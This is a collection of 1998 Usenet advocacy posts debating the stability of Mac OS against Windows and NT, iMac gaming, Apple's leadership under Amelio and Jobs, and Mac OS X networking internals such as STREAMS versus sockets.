<poneil@genetics.utah.edu> wrote:
> George Graves wrote:
> >
> > In article <35C86ABE.4EE5@genetics.utah.edu>, Patrick O'Neil
> > <poneil@genetics.utah.edu> wrote:
> [...]
> >
> > I see. You don't mind running Win95 and NT, but you won't run the
> > "dismal Mac OS". Have you seen your psychiatrist lately Mr. O'Neil?
> > Because you're nuts!
> >
>
> Not at all. As much as I dislike M$ and Gates, the latest Winblows
> variants (perversions?) ARE more stable than MacOS.
Hmmm I've run OS8 and 8.1 for over a year without a crash. How's
that stack up for reliability? Also, if you were to ask the Hong
Kong Airport Authority or the US Navy about NT, they might
disagree with you about ITS reliability as well. I'd say you have
some preconceived notions, Mr. O'Neil, which won't stand up under
close scrutiny.
Setting up a
> standard Winblows box from scratch is no more complicated than
> setting up a new install of MacOS...so there is no benefit THERE.
Ha ha ha ha ha ha ha. You kill me! Windows is as easy to set up from
scratch as a Mac??????????? What the hell have you been smoking.
Its LOTS HARDER. I mean like L-O-T-S HARDER.
>
> Lets see...better (though belated) memory protection in Winblows
> (still doesn't hold a candle to OS/2 or linux) than MacOS (to be
> fair, they ARE getting there...finally...someone at Apple finally
> pulled a couple heads out of a couple asses I guess).
Yeah, good enough to work 8-10 hours a day for more than year
without a freeze or a crash. I don't have any Windows using
friends with a record like that. Most of 'em say that Windows
crashes on them a couple of times a day. Even NT users I know
say that they get the BSOD at least once a month. Right Win
is MUCH more stable than MacOS - in a pig's eye!
>
> Let's see some more...Flat out more software available (and first)
> for Wintel boxes. This is factually undeniable.
There are over a dozen different Word processors available for the
Mac. Many times that for Windows. Yet, everybody uses either Word
or Word Perfect. How many do you need? This Software thing is way
over blown in importance. Games? Yeah, Windows has more games.
If that's the level of your maturity, that you gauge a platform on the
number of games available, then Windows wins, and welcome!
>
> On the personal software legacy side, it would be NUTS to SWITCH from
> an x86 type system to a PPC Mac (since you can't get anything BUT a
> Mac with a PPC chip in it as a normal user...unfortunately) because
> you would not only have to bear the cost of a new system, but you
> would also have to buy all new software to go with it. THAT is a
> cost...and there is little or no subjective speed difference between
> the PII and the latest Macs anyway, so there is no point on that side.
So you say. But, the cost of switching goes both ways. And I certainly
don't remember anybody telling you to switch in this NG. Most of us
Mac advocates, unlike most of you Windows advocates don't give a
tinker's damn what others use. We just resent you coming here and
trying to get us to change with "Macs suck" and "Why don't you Mac
guys get yourselves a real computer?" (misery loves company, they
say).
>
> You can't say, "Use softwinblows" or something like that because
> emulation sucks, period. Always will...it is dog-slow in comparison
> to the native hardware which is important if you are talking graphic
> intensive apps like games and other things.
Why should we? most of those graphics intensive apps are available
on Mac. Some, exclusively so.
>
> Nay...the fact is, there is less and less disparity between ease of
> use, setup ease, reliability, and speed between the PPC/Mac world
> and the Intel-Winblows-Linux, etc, world...
That's what you think. I deal with both. I KNOW better. Do you think
it has ever taken me a week to get a modem to work on a Mac?
Absolutely not. But it has taken that long to get one working on a
relatively new PC under Win95. Everything about setting-up
Windows CAN BE a nightmare. Macs just plug-n-play (relatively
speaking).
>
> Apple computers are still not enduser-repair/modification friendly
> the way clone PCs are. They want you to either send it back for
> replacement or for you to have to pay a certified repairman to
> do what any reasonably savvy computer user should be able to do
> themselves.
How long has it been since you have owned a Mac? Let me answer, either
a very long time ago or never, because you don't know what you are talking
about.
What a coupe for reason and logic that Apple went with
> standard 72 pin simms, and then USB, and other niceties that allows
> users to get SOME things from vendors other than the monopoly-wannabe
> Apple.
Apple has always used the same memory form factor as PC. During the
days of 30 Pin SIMMS and 8-bit Mac RAM and 9-bit (parity) PC RAM.
one could use 9-bit RAMS in Macs. They didn't care. So your observation
is somewhat behind the times (in fact all of your "observations" are
behind the times and bogus. You obviously have not encoutered a Mac
in a very long time, if ever. Because modern Macs are better than PCs
in just about every way. You should try to use one sometime before
shooting your mouth off about things that you obviously know nothing
about.
>
> Where did this thread originate anyway? It was foolish to either
> start it in an intel hardware group, a wintel advocacy group, or
> even a mac advocacy group. Its like islamic fundamentalists trying
> to argue with christian fundamentalists.
No. Its like people armed with knowledge (me) arguing with unarmed
opponents full of half-baked opinions with no basis in fact (you).
George Graves
>
> patrick
From: rkuo@seas.upenn.edu (Richard Kuo)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Date: Sat, 08 Aug 1998 00:05:08 GMT
Organization: MindSpring Enterprises
Message-ID: <35d39589.146319500@news.mindspring.com>
References: <6ogco6$8ma$1@hole.sdsu.edu> <not-1407981414190001@1-58.phx.psn.net> <Jonas.Palm-2007981400350001@jp.orgk1.dial.lu.se> <not-2007981004090001@ip-26-136.phx.primenet.com> <1dchob9.1x9kucbpxp7t2N@du106-6.ppp.algonet.se> <not-2007982335410001@ip-26-018.phx.primenet.com> <6p1e3r$ub9$1@bunyip.cc.uq.edu.au> <joe.ragosta-2107980812360001@0.0.0.0> <6p2u11$9g3$1@nnrp1.dejanews.com> <joe.ragosta-0408981649060001@wil36.dol.net> <6q8abf$nvs$1@nnrp1.dejanews.com>
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On Wed, 05 Aug 1998 00:51:58 GMT, quinlan@intergate.bc.ca wrote:
>In article <joe.ragosta-0408981649060001@wil36.dol.net>,
> joe.ragosta@dol.net (Joe Ragosta) wrote:
>
>> Here it is--Chrome requires 300 MHz PII or faster and Win98 or newer.
>> Sounds like great backwards support. When did the 300 MHz PII come out? 6
>> months ago? And it won't support a new MS technology?
>
>A few relevant differents:
>
>1) Chrome is not an operating sytem
>2) Chrome actually requires a fast CPU to do it's job (but I believe that
>Chrome will run on any PII if you don't mind it being slow)
>
>Remember when Quickdraw 3D came out and it didn't support the 68K Macs? I
>don't think anyone really complained because they weren't fast enough to make
>use of it anyway. OTOH, the 9500/350 is actually faster than the G3 when
>performing many tasks.
Actually, I'd say the main point here is that Chrome isn't out
now and won't be for a very long time. I'd say a 300 MHz P2 won't be
far off the mark for consumers when Microsoft starts incorporating
Chrome into its products. I really don't even know what Joe was
trying to prove.
============================================
Visit The Silicon Edge at:
http://siliconedge.ml.org
Comprehensive reviews of computer hardware and software,
plus daily updates with the best and the latest news!
From: rkuo@seas.upenn.edu (Richard Kuo)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Date: Fri, 07 Aug 1998 23:57:42 GMT
Organization: MindSpring Enterprises
Message-ID: <35d29182.145288125@news.mindspring.com>
References: <Jonas.Palm-2007981400350001@jp.orgk1.dial.lu.se> <not-2007981004090001@ip-26-136.phx.primenet.com> <1dchob9.1x9kucbpxp7t2N@du106-6.ppp.algonet.se> <joe.ragosta-2007981850280001@elk61.dol.net> <1dciwhu.mt0pxg1hofrbwN@du137-242.ppp.algonet.se> <joe.ragosta-2107981135290001@wil93.dol.net> <1dcjks2.1j283l9qaxvg8N@du137-242.ppp.algonet.se> <joe.ragosta-0408981651440001@wil36.dol.net> <6q84ju$pc6$1@plo.sierra.com> <joe.ragosta-0508980757270001@wil62.dol.net>
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On Wed, 05 Aug 1998 07:57:26 -0400, joe.ragosta@dol.net (Joe Ragosta)
wrote:
>In article <6q84ju$pc6$1@plo.sierra.com>, "Earl Malmrose"
><earl.malmrose@nospam.sierra.com> wrote:
>
>> Joe Ragosta wrote in message ...
>> >This is nonsense. The issue is that you're alleging that MacOS breaks more
>> >than Windows. I'm not interested in the theory because there are plenty of
>> >examples on both sides.
>>
>> Then provide just one example of some code that crashes Windows! I've
>> provided several for MacOS. Otherwise, you're just blowing smoke.
>
>Sure. Choose any of the 10,000 viruses for Windows. Including some serious
>boot sector viruses. By your definition, that makes Windows worse than the
>Mac by a ratio of about 10,000 to 50 or so.
>
>>
>> >I want some evidence from the REAL WORLD (perhaps you've heard of it). As
>> >soon as you can show that Mac OS fails more often than Win95 and that Mac
>> >OS causes more data loss (per capita) than Win95, you'll win the argument.
>>
>> I'm claiming, that the real world evidence follows the theory (lack of
>> memory protection causes more frequent system crashes). You're claiming that
>> despite the theory, real world evidence is different. How about you provide
>> some evidence, rather that constantly calling for someone else to provide
>> it?
>
>You're making a claim about real world experience that you can't back up.
>
>YOU are the one who claims that Macs crash too often. Your claim, you prove it.
>
>>
>> >Until you can provide some evidence, you lose.
>>
>> No, you lose. A bug in a Windows app is less likely to crash the system than
>> a bug in a Mac app. Several examples have been posted that crash MacOS, none
>> that crash Windows. It likely follows, that MacOS will crash more often,
>> unless you can prove that Mac apps have far fewer bugs. Prove it.
>
>So I'm supposed to prove your assertion for you? No thanks. So you're
>admitting that you have no evidence to back up your position. I didn't
>think so.
Joe, your willingness to debate a programming issue you
clearly have no understanding of is simply inane. I don't understand
why you insist on making comparisons that have no relationship to the
original point. Well, actually, I do think I know why you are doing
it, but....the fact, is, he has a preponderance of the evidence and
you have nothing.
If anyone needs proof that you are horribly biased, this is
it.
============================================
Visit The Silicon Edge at:
http://siliconedge.ml.org
Comprehensive reviews of computer hardware and software,
plus daily updates with the best and the latest news!
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: Solution to Imac SUCKS for games
Content-Type: text/plain; charset=us-ascii
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Sender: news@T-FCN.Net
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Cc: see-below@not-my-address.invalid
Organization: none
References: <6qdl2c$k74$1@Zeke.Update.UU.SE> <ExBr6L.HEs@T-FCN.Net>
<see-below-0708981720480001@dynamic41.pm08.mv.best.com>
Mime-Version: 1.0
Date: Sat, 8 Aug 1998 00:43:31 GMT
In <see-below-0708981720480001@dynamic41.pm08.mv.best.com> Matthew Vaughan
wrote:
> I think the best bet after Rage Pro
Oh, I agree! The drivers are already there and the price delta is small.
Still my main point is that the Voodoo religion, which I myself had only
months ago, is no longer worthy of consideration IMHO.
beginning) would be Banshee. One thing to consider is that Glide is a very
> popular API for PC games, and is used for some Mac games as well.
GLIDE is the living dead IMHO. It's not bad, but with the performance
delta quickly being eroded by the other players, the compelling argument
slips away.
It's Direct-hex or OpenGL, or damb them (which sadly includes the rather
dead RAVE). If Apple would get off it's butt and do GL (or at least say "hey
guys, try this Conix stuff. it's kick ass") they'd be the darlings of the
game community, a point of perfection in a world of confusion as it were.
I don't think anyone, least of all Apple, realizes the cusp the game
community is sitting in right now. Even the slightest push and OpenGL is
_it_. If not DX is going to just slowly take over for better or worse - I
won't argue it on technical grounds (it's good over all) but Apple doesn't
have a DX and if DX "happens", we're toast.
Apple is about to make USB "happen", it's time they did the same for
OpenGL. All they have to do is make a press release.
Maury
From: willadams@aol.com (WillAdams)
Newsgroups: comp.sys.next.advocacy
Subject: Re: NEXTstep/Openstep for the Mac
Message-ID: <1998080801024400.VAA01253@ladder01.news.aol.com>
Date: 8 Aug 1998 01:02:44 GMT
Organization: AOL http://www.aol.com
References: <cgunalan-ya02408000R0708981934510001@news.pacific.net.sg>
Unfortunately, Apple is leaving out much of which was wonderful about the NeXT
in Mac OS X/Rhapsody.
No elegant, consistent UI, or repositionable main menu
No dock, and constant status display of running programs, or easy program
switching
No iconization of documents
No Webster's, Oxford's or TeX
etc.
However, you can get a real NeXT for not too much these days, www.orb.com or
www.deepspacetech.com, or one can run white hardware if careful about choosing
stuff which is compatible.
Alternatively, for Linux, there's GNUstep <www.gnustep.org>, see also
WindowMaker <www.windowmaker.org> and the Nextaw and tkstep tools as well.
William
William Adams
http://members.aol.com/willadams
Sphinx of black quartz, judge my vow.
From: id_est@interport.net (tse_di)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: Crash-o-RAMA (was: Re: '97 Mac entrant)
Date: Fri, 07 Aug 1998 21:39:35 -0400
Organization: none
Message-ID: <id_est-0708982139350001@192.168.1.3>
References: <35C71113.5BEC@bellatlantic.net> <6q7jkq$g7n$1@plo.sierra.com> <35c75454.0@news.depaul.edu> <joe.ragosta-0508980814330001@wil62.dol.net> <MPG.10323fde8de3070b98968c@news.earthlink.net> <NOamradioSPAM-0608980014360001@207-172-129-235.s235.tnt2.col.erols.com>
In article
<NOamradioSPAM-0608980014360001@207-172-129-235.s235.tnt2.col.erols.com>,
NOamradioSPAM@thebizlink.com (Steve) wrote:
> > > I would, but Microsoft would probably frown on someone posting
> > > NT itself. ;^)
> >
> > All you need to do is say "setup.exe". That's guaranteed to cause problems.
> >
> > --
> > Regards,
> > Joe Ragosta
>
>
> Is that the best effort, on this thread !
> Weak.
> My NT box's have crashed a total of 3 times in the last 2 or so years.
> And they don't sit idle too much.
My NT box killed itself the other day. It after going through the OS
loader it went to a blue screen that said "the OLE32.dll may be corrupt.
The calculated checksum is different from the header checksum" and the
system was halted.
All I did was restart the machine. Nothing added nothing removed.
Date: Fri, 07 Aug 1998 22:05:01 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Solution to Imac SUCKS for games
Message-ID: <joe.ragosta-0708982205020001@elk59.dol.net>
References: <joe.ragosta-0708980924190001@wil86.dol.net> <B1F0B592-3B8B4@206.165.43.185>
In article <B1F0B592-3B8B4@206.165.43.185>, "Lawson English"
<english@primenet.com> wrote:
> Joe Ragosta <joe.ragosta@dol.net> said:
>
> >
> >Serious gamers are going to want to upgrade their video cards when a new
> >generation of card comes out. That, by definition, rules out the iMac,
> >anyway. Those people should be looking at the PowerMac G3.
> >
>
>
>
> But that really is our point (or mine, at least). the iMac video should be
> replaceable in some fashion, whether via a card, a cartridge or whatever,
> it shouldn't be frozen into the motherboard. You have to slide out the MB
> to install RAM, so why not to replace the video card/cartridge?
Then it wouldn't be an iMac.
Sure, you could make the video replaceable, then the motherboard, then the
networking, then make it possible to add SCSI, etc.
None of those things fit with the target audience. It's an appliance computer.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
Date: Fri, 07 Aug 1998 22:15:24 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: Crash-o-RAMA (was: Re: '97 Mac entrant)
Message-ID: <joe.ragosta-0708982215250001@elk59.dol.net>
References: <35C71113.5BEC@bellatlantic.net> <6q7jkq$g7n$1@plo.sierra.com> <35c75454.0@news.depaul.edu> <joe.ragosta-0508980814330001@wil62.dol.net> <MPG.10323fde8de3070b98968c@news.earthlink.net> <NOamradioSPAM-0608980014360001@207-172-129-235.s235.tnt2.col.erols.com> <id_est-0708982139350001@192.168.1.3>
In article <id_est-0708982139350001@192.168.1.3>, id_est@interport.net
(tse_di) wrote:
> In article
> <NOamradioSPAM-0608980014360001@207-172-129-235.s235.tnt2.col.erols.com>,
> NOamradioSPAM@thebizlink.com (Steve) wrote:
>
> > > > I would, but Microsoft would probably frown on someone posting
> > > > NT itself. ;^)
> > >
> > > All you need to do is say "setup.exe". That's guaranteed to cause
problems.
> > >
> > > --
> > > Regards,
> > > Joe Ragosta
> >
> >
> > Is that the best effort, on this thread !
> > Weak.
> > My NT box's have crashed a total of 3 times in the last 2 or so years.
> > And they don't sit idle too much.
>
> My NT box killed itself the other day. It after going through the OS
> loader it went to a blue screen that said "the OLE32.dll may be corrupt.
> The calculated checksum is different from the header checksum" and the
> system was halted.
> All I did was restart the machine. Nothing added nothing removed.
That's why I eventually removed NT permanently from my system. Exactly the
same symptoms.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
From: "Jeffrey S. Dutky" <dutky@bellatlantic.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: Crash-o-RAMA (was: Re: '97 Mac entrant)
Date: Fri, 07 Aug 1998 22:36:12 -0400
Organization: Bell Atlantic Internet Solutions
Message-ID: <35CBB952.4E7D@bellatlantic.net>
References: <35C71113.5BEC@bellatlantic.net> <6q7jkq$g7n$1@plo.sierra.com> <6q85rv$jfs$1@morgoth.sfu.ca> <6q8a9c$t4$1@lwnws01.ne.highway1.com> <6q8tr6$nlg$1@nnrp1.dejanews.com> <don.brown-0508980905210001@dsm-ia1-05.ix.netcom.com> <6qd6fk$p28$1@nnrp1.dejanews.com> <6qddcg$2ms$1@nnrp1.dejanews.com> <joe.ragosta-0708980834340001@wil86.dol.net>
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Joe Ragosta wrote:
>
> Anyone who's getting a crash every 3-4 hours without doing
> something about it is not skilled enough to be taken seriously.
> A properly configured Mac _or_ Win95 system shouldn't be
> crashing more than a couple of times a week AT MOST.
>
That depends what you consider a crash. I get freezes of
Netscape about three or four times a day, by some this could
be considered a crash (of course, Netscape flakeyness is not
restricted to the Mac, I get a similar lack of performance
with Netscape on assorted Unices as well). There is also
some kind of problem with TCP/IP networking and FreePPP that
causes DNS lookups to fail after the system has been up a
while. This is probably some kind of improper configuration,
however, so it doesn't count.
Finally, I would bet that your CPH figure (Crashes per Hour)
is closely related to the application software you run. The
Netscape example is a good example, but far from unique.
- Jeff Dutky
####################################################################
From: hattonr@aug.com (Rick Hatton)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.be.advocacy,comp.sys.intel
Subject: Re: Conspiracy Theory
Date: Fri, 7 Aug 1998 23:18:12 -0500
Organization: http://www.supernews.com, The World's Usenet: Discussions Start Here
Message-ID: <19980807231812778366@ts3-40.aug.com>
References: <macghod-3107980149120001@sdn-ar-001casbarp015.dialsprint.net> <27593-35C1CA70-10@newsd-124.bryant.webtv.net> <joe.ragosta-3107981100490001@wil31.dol.net> <6pt3q5$gsj$1@ash.prod.itd.earthlink.net> <35C37368.496D@geocities.com> <35C9C61C.7AC6@genetics.utah.edu> <35ca2993.0@news.depaul.edu> <kindall-0608981833260001@nic-c41-094.mw.mediaone.net> <B1EF8E4C-21EAA@206.165.43.105> <19980807090337288881@pm2-1-27.aug.com> <joe.ragosta-0708980943170001@wil86.dol.net> <19980807183231180080@pm2-1-27.aug.com> <ExCFq9.3nF@T-FCN.Net>
Maury Markowitz <maury@remove_this.istar.ca> wrote:
>
> Now I'll be the first to admit that on the financial side he _did_ do a
> good job, a great one maybe, and certainly one that we all owe a debt of
> gratitude for. However...
>
Just before Amelio came on board, or just after, Apple had only weeks of
operating capital in the bank. amelio left Apple with $1 billion +. I
beleive it shoulf be a LARGE debt of gratittude.
> There is absolutely no doubt in my mind that had Gil continued on that
> Apple would have continued the slow death that it was clearly still
> undergoing while he was there. He stopped the money from running out the
> door, but did NOTHING to stop the developers - in fact their rather clueless
> OS plans likely made this worse.
His clueless OS plan was to make Rhapsody THE platofrm for the
Macintoshmake it cross-platform. The plan seemed straight forward to the
press, until the reality distortion field returned.
>If you don't see differences, and hope, in Jobs' tenure, then I suspect
>you're allowing your own doomssaying to override your better judgement.
>
What doomsaying?
> In 97 Jobs said "watch the press, give us six months and they'll get it".
> Sure enough this is _exactly_ what happened, all press about Apple is
> positive, all press about MS is negative. He said "look, give us a year and
> we'll have a real consumer product for you".
Amelio asked for a little time and got bupkus. From everyone.
>
> What did Gil say? I remember "we're not going out of business, don't
> listen to them" and "we've cancelled Copeland and we don't know what we're
> replacing it with".
That's so much bullshit. Amelio bought Next after evaluating many
possibilities. He had a plan. He stuck to his plan. Jobs and Apple has
benefited from that plan. all I am saying is that jobs is not the savior
everyone makes him out to be. If he was.. he'd be the billionaire, and
we be crying for the MS the underdog.
From: glhansen@copper.ucs.indiana.edu (Gregory Loren Hansen)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.be.advocacy,comp.sys.intel
Subject: Re: Conspiracy Theory
Date: 8 Aug 1998 04:17:43 GMT
Organization: Indiana University, Bloomington
Message-ID: <6qgjh7$d8c$1@flotsam.uits.indiana.edu>
References: <macghod-3107980149120001@sdn-ar-001casbarp015.dialsprint.net> <35C37368.496D@geocities.com> <35C9C61C.7AC6@genetics.utah.edu> <chrisj-0708981444340001@usr1a5.bratt.sover.net>
In article <chrisj-0708981444340001@usr1a5.bratt.sover.net>,
Chris Johnson <chrisj@airwindows.com> wrote:
> I still have heard nothing to cast doubt on the rumor that Jobs killed
>Rhapsody at the behest of Gates. Gates said "Kill 'Rhapsody'. People are
>talking about it and stuff- it sounds new and promising- kill it for me,
>Steve. I'll let you still have the next Office, and I won't make NT curl
>up and die when a Mac box is on the network." Sure this is obscenely
>monopolistic, Gates calling the shots at competing companies as well as
>his own, but, you know...
Maybe I could believe that of Spindler, or some other monkey. But Jobs is
an obstinate son of a bitch. He'd take a suggestion like that as a kick
in the balls. And he'd kick back. He might not be able to kick very
hard compared to Microsoft, but he'd kick back.
Even if it's not a good business decision, he'd kick back.
--
"Don't just do something, stand there!" - Buddha
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.be.advocacy,comp.sys.intel
Subject: Re: Conspiracy Theory
Date: Sat, 08 Aug 1998 03:33:12 +0000
Organization: ISPNews http://ispnews.com
Message-ID: <35CBC6F8.BECC09E2@nstar.net>
References: <macghod-3107980149120001@sdn-ar-001casbarp015.dialsprint.net> <27593-35C1CA70-10@newsd-124.bryant.webtv.net> <joe.ragosta-3107981100490001@wil31.dol.net> <6pt3q5$gsj$1@ash.prod.itd.earthlink.net> <35C37368.496D@geocities.com> <35C9C61C.7AC6@genetics.utah.edu> <chrisj-0708981444340001@usr1a5.bratt.sover.net> <35CB5752.DB4A33EF@ericsson.com> <19980807231805777957@ts3-40.aug.com>
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NNTP-Posting-Date: 8 Aug 1998 03:34:43 GMT
Rick Hatton wrote:
>
> Michael Peck <Michael.Peck@ericsson.com> wrote:
>
> > I would to hear of a single reason to prefer MacOS X over Windows NT. I
> > can't think of one.
>
> It's not NT or any flavor of windows. That should be reason enough.
>
> It will have an Apple GUI. That is another reason.
Eh, right.
I think I was looking for something more along the lines of "good
reasons". It's a little late in the game to pretend that the virtues of
MacOS (and the horrors of Windows) are self-evident. This kind of
advocacy is doing nothing for the Great Cause.
MJP
From: "Sean C. Payne" <scpayne@digital.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.be.advocacy,comp.sys.intel
Subject: Re: Conspiracy Theory
Date: Fri, 07 Aug 1998 23:05:40 -0400
Organization: Space Coast OS/2 Users Group
Message-ID: <35CBC083.DB88FB51@digital.net>
References: <macghod-3107980149120001@sdn-ar-001casbarp015.dialsprint.net> <27593-35C1CA70-10@newsd-124.bryant.webtv.net>
<joe.ragosta-3107981100490001@wil31.dol.net> <6pt3q5$gsj$1@ash.prod.itd.earthlink.net>
<35C37368.496D@geocities.com> <35C9C61C.7AC6@genetics.utah.edu>
<35ca2993.0@news.depaul.edu> <kindall-0608981833260001@nic-c41-094.mw.mediaone.net>
<B1EF8E4C-21EAA@206.165.43.105> <19980807090337288881@pm2-1-27.aug.com>
<joe.ragosta-0708980943170001@wil86.dol.net> <19980807183231180080@pm2-1-27.aug.com> <ExCFq9.3nF@T-FCN.Net>
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NNTP-Posting-Date: 8 Aug 1998 03:02:03 GMT
Maury Markowitz wrote:
> What did Gil say? I remember "we're not going out of business, don't
> listen to them" and "we've cancelled Copeland and we don't know what we're
> replacing it with". Youch, that's certainly confidence building! This time
> last year I had completely given up on Apple, this time this year (now) I'm
> kicking myself for paying $2k for that $(*)^%(^#% sh*tbox PC I've got at home
> that won't even let me remove the *^%#$(*&%$ Inbox from my desktop!
>
The easiest way the remove the Inbox from your desktop is FDISK. Install an
alternative OS or OSes if you have the space. My personal preference is OS/2
Warp 4, but there are plenty of other choices.
/Sincerely,
Sean C. Payne
> Maury
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
From: adt@netcom.com (Anthony D. Tribelli)
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Message-ID: <adtExD0Mo.6F1@netcom.com>
Followup-To: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Organization: Netcom On-Line Services
References: <joe.ragosta-0508980827520001@wil62.dol.net> <B1EE0DFF-10611@206.165.43.42> <joe.ragosta-0608980801280001@0.0.0.0>
Date: Sat, 8 Aug 1998 07:25:36 GMT
Sender: adt@netcom18.netcom.com
Joe Ragosta (joe.ragosta@dol.net) wrote:
: Extra cost? The G3/366 is $595 in quantities of 1000. How much is the 450
: MHz PII (which probably isn't as fast).
:
: Let's call the performance a wash. Let's even say that the PII is as low
: as $595 (which is doubtful).
The retail price for an end user to buy a single Pentium II 400 is $614
(ChipMerchant). Now consider quantity 1000, now consider dealer rather
than retail, ... I don't think it's "doubtful" that a major computer
vendor can get 450s in the $600 neighborhood.
Tony
--
------------------
Tony Tribelli
adtribelli@acm.org
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.be.advocacy,comp.sys.intel
Subject: Re: Conspiracy Theory
References: <macghod-3107980149120001@sdn-ar-001casbarp015.dialsprint.net> <27593-35C1CA70-10@newsd-124.bryant.webtv.net> <joe.ragosta-3107981100490001@wil31.dol.net> <6pt3q5$gsj$1@ash.prod.itd.earthlink.net> <35C37368.496D@geocities.com> <35C9C61C.7AC6@genetics.utah.edu> <chrisj-0708981444340001@usr1a5.bratt.sover.net> <35CB5752.DB4A33EF@ericsson.com> <19980807231805777957@ts3-40.aug.com> <35CBC6F8.BECC09E2@nstar.net>
From: richard@brainstorm.co.uk. (Richard Frith-Macdonald)
Message-ID: <35cc0346.0@nnrp1.news.uk.psi.net>
Date: 8 Aug 98 07:50:30 GMT
"Michael J. Peck" <mjpeck@nstar.net> wrote:
>Rick Hatton wrote:
>>
>> Michael Peck <Michael.Peck@ericsson.com> wrote:
>>
>> > I would to hear of a single reason to prefer MacOS X over Windows NT. I
>> > can't think of one.
>>
>> It's not NT or any flavor of windows. That should be reason enough.
>>
>> It will have an Apple GUI. That is another reason.
>
>Eh, right.
>
>I think I was looking for something more along the lines of "good
>reasons". It's a little late in the game to pretend that the virtues of
>MacOS (and the horrors of Windows) are self-evident. This kind of
>advocacy is doing nothing for the Great Cause.
I quite agree -
Apple seems to be rubbishing all the good reasons we might have hoped for -
but things may not be as bad as they seem.
I know they said it won't be unix - but we also know it will have a unixy
micro-kernel with a bsd layer above - so we can still HOPE to run standard
unix software (and get the best networking tools available), including X-windows
if you want it (there is at least one version for the Rhapsody developer releases).
There is also a very good chance (with the unix underpinnings) that MacOS-X
will be a lot more stable than Windows-NT.
It would help if Apple weren't so reluctasnt to release any details, and didn't
spend so much time trying to reassure MacOS-8 users that MacOS-X is just an
incremental development of their existing system - that amkes it very hard to
judge what the reality of MacOS-X is. I guess there will be a lot of corporates
opting for Windows solutions precisely because of the uncertainty.
From: scott@nospam.doubleu.com (Scott Hess)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Junking STREAMS?
Date: 7 Aug 98 11:31:05
Organization: Is a sign of weakness
Message-ID: <SCOTT.98Aug7113105@slave.doubleu.com>
References: <35C87CFA.CEAE0167@milestonerdl.com> <SCOTT.98Aug5132919@slave.doubleu.com>
<Ex9uJH.ry@T-FCN.Net>
In-reply-to: maury@remove_this.istar.ca's message of Thu, 6 Aug 1998 14:21:16 GMT
In article <Ex9uJH.ry@T-FCN.Net>,
maury@remove_this.istar.ca (Maury Markowitz) writes:
In <SCOTT.98Aug5132919@slave.doubleu.com> Scott Hess wrote:
> Quite simply, they're going with the _easy_ solution right now, which
> is to use the existing sockets networking in BSD. STREAMS may have
> great technical arguments, but I think right now they're looking at
> what's easiest to get working in the minimum amount of time on what
> they have - and the Rhapsody kernel people have significantly more
> time under their hats with sockets than with STREAMS.
That's not entirely true. For one thing the Mk7.3 kernel, which is
what the MacOS-X kernel will be "derived" from, uses STREAMS. I'd
say there's more experience about in modern Mach and STREAMS than
modern Mach and Sockets.
So Apple has also hired the OSF people that implemented STREAMS in the
Mk7.3 kernel? Or are they using the same engineers from NeXT which
have spend most of their time with the BSD4.3 and 4.4 stuff? [I
didn't realize that any Mach kernel has _any_ TCP implementation - so
far as I'm aware, that stuff lives higher in the system, and I thought
Apple was using BSD4.4lite. But I could, of course, be wrong.]
Later,
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: scott@nospam.doubleu.com (Scott Hess)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Junking STREAMS?
Date: 7 Aug 98 11:37:10
Organization: Is a sign of weakness
Message-ID: <SCOTT.98Aug7113710@slave.doubleu.com>
References: <35C87CFA.CEAE0167@milestonerdl.com> <6qa0e6$hns$1@lwnws01.ne.highway1.com>
<35c8b189.0@nnrp1.news.uk.psi.net> <6qah44$g4n$1@server.signat.org>
<SCOTT.98Aug5221339@slave.doubleu.com> <Ex9ur7.ut@T-FCN.Net>
In-reply-to: maury@remove_this.istar.ca's message of Thu, 6 Aug 1998 14:25:54 GMT
In article <Ex9ur7.ut@T-FCN.Net>,
maury@remove_this.istar.ca (Maury Markowitz) writes:
In <SCOTT.98Aug5221339@slave.doubleu.com> Scott Hess wrote:
> Except insofar as any bugs the implementation might have the
> first three releases :-).
Yet this is far more likely to effect current Mac uses in terms of
broken apps than it is to effect OpenStep users.
Bugs in the kernel implementation of TCP/IP will affect _all_ users.
You're speaking to bugs in the interfaces to the kernel
implementation.
I feel very confident of the quality of Sockets-over-STREAMS, and
have no faith whatsoever in XTI-over-Sockets.
> Very solid _today_, versus very solid but technically superior a year
> or more from now. What was the brainless part, again?
Sockets is in no way superior to STREAMS. Period.
